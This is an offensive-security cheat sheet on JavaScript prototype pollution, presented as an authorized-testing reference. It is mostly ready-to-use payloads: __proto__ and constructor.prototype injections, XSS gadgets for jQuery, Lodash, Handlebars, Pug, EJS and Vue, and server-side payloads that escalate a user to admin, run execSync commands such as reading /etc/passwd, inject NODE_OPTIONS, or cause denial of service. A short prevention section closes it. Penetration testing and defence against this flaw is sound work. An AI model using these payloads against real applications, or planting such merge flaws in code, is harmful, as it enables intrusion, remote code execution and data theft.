PROTOTYPE-POLLUTION
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
JavaScript vulnerability that allows attackers to modify Object.prototype, affecting all objects in the application. Leads to XSS, RCE, privilege escalation, and DoS.
HOW IT WORKS#
# JavaScript objects inherit from Object.prototype
# Modifying prototype affects ALL objects
# Vulnerable pattern: recursive merge/extend without checks
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
# Attack: inject __proto__ property
merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
# Now ALL objects have isAdmin = true
let user = {};
console.log(user.isAdmin); // true!
ATTACK VECTORS#
# 1. __proto__ (most common)
{"__proto__": {"isAdmin": true}}
# 2. constructor.prototype
{"constructor": {"prototype": {"isAdmin": true}}}
# 3. Nested __proto__
{"a": {"__proto__": {"isAdmin": true}}}
# 4. Array notation
{"__proto__": {"0": "polluted"}}
CLIENT-SIDE PROTOTYPE POLLUTION#
# Via URL parameters (query string)
https://target.com/?__proto__[isAdmin]=true
https://target.com/?__proto__.isAdmin=true
https://target.com/?constructor.prototype.isAdmin=true
https://target.com/?__proto__[test]=polluted
# Via URL hash
https://target.com/#__proto__[isAdmin]=true
# Via JSON input
{"__proto__": {"isAdmin": true}}
# Via merge/extend operations
// jQuery $.extend (deep mode)
$.extend(true, {}, userInput);
// Lodash _.merge (before fix)
_.merge({}, userInput);
// Custom recursive merge functions
DETECTING CLIENT-SIDE POLLUTION#
# Browser console test
# 1. Navigate to target page
# 2. Open DevTools console
# 3. Test if pollution is possible:
# Method 1: URL parameter
# Add ?__proto__[testpollution]=true to URL
# In console: ({}).testpollution
# If returns "true" → vulnerable
# Method 2: Hash fragment
# Add #__proto__[testpollution]=true to URL
# In console: ({}).testpollution
# Method 3: Manual
Object.prototype.testpollution = "yes";
let obj = {};
console.log(obj.testpollution); // "yes" = prototype works
delete Object.prototype.testpollution; // Clean up
PROTOTYPE POLLUTION → XSS GADGETS#
# Once you can pollute the prototype, find "gadgets"
# that use polluted properties for code execution
# innerHTML gadget
# If code does: element.innerHTML = obj.someProperty
{"__proto__": {"someProperty": "<img src=x onerror=alert(1)>"}}
# jQuery gadgets
# $(element).html() reads from prototype
?__proto__[innerHTML]=<img/src/onerror=alert(1)>
# Lodash template
?__proto__[sourceURL]=%E2%80%A8%E2%80%A9alert(1)
# Google Closure
?__proto__[*%20LINk]=<img/src/onerror=alert(1)>
# Handlebars
?__proto__[pendingContent]=<img/src/onerror=alert(1)>
# Pug (Jade)
?__proto__[block]={"type":"Text","val":"<img src=x onerror=alert(1)>"}
# EJS
?__proto__[outputFunctionName]=x;alert(1)//
# Vue.js
?__proto__[v-bind:class]=[alert(1)]
?__proto__[attrs][onclick]=alert(1)
# Mithril.js
?__proto__[onupdate]=alert(1)
# Sanitizer bypass
?__proto__[allowedAttributes][][]=onclick
COMMON VULNERABLE FUNCTIONS#
# Deep merge/extend
merge(target, source)
extend(true, target, source)
_.merge(target, source) # Lodash (fixed in modern)
$.extend(true, target, source) # jQuery deep extend
Object.assign (NOT vulnerable - shallow only)
# Query string parsers
qs.parse("__proto__[polluted]=true") # qs library
querystring.parse(url) # Some custom parsers
# URL/query string parsing that creates nested objects
# JSON.parse is NOT directly vulnerable
# But the RESULT of JSON.parse can pollute if passed to merge
# Path-based property setting
lodash.set(obj, "__proto__.polluted", true)
dot-prop.set(obj, "__proto__.polluted", true)
SERVER-SIDE PROTOTYPE POLLUTION#
# Node.js — Can lead to RCE!
# Privilege escalation
POST /api/user HTTP/1.1
Content-Type: application/json
{"__proto__": {"role": "admin"}}
# If server merges input into user object,
# all users now have role=admin
# RCE via child_process
# If code uses child_process.exec/spawn/fork:
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(require('child_process').execSync('id').toString())//"}}
# RCE via EJS template engine
{"__proto__": {"outputFunctionName": "x;global.process.mainModule.require('child_process').execSync('id');//"}}
# RCE via Pug template engine
{"__proto__": {"block": {"type": "Text", "val": "x]);global.process.mainModule.require('child_process').execSync('cat /etc/passwd')//"}}}
# RCE via Handlebars
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "parts": ["constructor"]}, "params": [{"type": "SubExpression", "path": {"type": "PathExpression", "parts": ["constructor"]}, "params": [{"type": "StringLiteral", "value": "return process.mainModule.require('child_process').execSync('id')"}]}]}]}}
# Environment variable injection
{"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/environ"}}}
# Status code override
{"__proto__": {"status": 200}} # Always returns 200
{"__proto__": {"statusCode": 500}} # Cause errors
DETECTION TOOLS#
# Client-side - PPScan (browser extension) - Client-Side Prototype Pollution scanner (Burp extension) - ppfuzz (prototype pollution fuzzer) - dom-invader (Burp built-in) # Server-side - server-side-prototype-pollution (Burp extension) - ppmap - Manual testing via JSON input # Automated ppmap -u "https://target.com" ppfuzz -l urls.txt
TESTING PAYLOADS#
# URL-based (client-side)
?__proto__[polluted]=yes
?__proto__.polluted=yes
?constructor.prototype.polluted=yes
?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes&__proto__[test]=value
# JSON-based (server-side)
{"__proto__": {"polluted": true}}
{"constructor": {"prototype": {"polluted": true}}}
{"__proto__": {"toString": "polluted"}}
{"__proto__": {"valueOf": "polluted"}}
# Detection payload
{"__proto__": {"json_proto_pollution": "DETECTED"}}
# Then check: GET /api/any → does response show the property?
TESTING CHECKLIST#
[ ] Test URL params: ?__proto__[test]=value [ ] Test hash fragment: #__proto__[test]=value [ ] Test JSON body with __proto__ key [ ] Test constructor.prototype variant [ ] Check if pollution persists across requests (server-side) [ ] Search for XSS gadgets in JS libraries used [ ] Test for RCE if server-side Node.js (template engines) [ ] Check for privilege escalation (role/admin properties) [ ] Test DoS by polluting toString/valueOf [ ] Verify if Object.freeze(Object.prototype) is used
PREVENTION#
# For developers: Object.freeze(Object.prototype) # Prevent modification Object.create(null) # Create prototype-less objects # Use Map instead of plain objects # Validate/sanitize keys: reject __proto__, constructor, prototype # Use schema validation (Joi, Zod, etc.) # Keep libraries updated (Lodash, jQuery, etc.)
TIPS#
- __proto__ in URL query string is the easiest client-side test - Server-side pollution persists across ALL requests (high impact) - Template engines (EJS, Pug, Handlebars) often lead to RCE - Check which JS libraries the target uses for gadget selection - Lodash _.merge was historically vulnerable (fixed in newer versions) - jQuery $.extend(true, ...) can still be vulnerable - Object.assign is NOT vulnerable (shallow copy only) - Client-side pollution + XSS gadget = stored-like XSS - Server-side pollution + template engine = RCE - Always test both __proto__ and constructor.prototype variants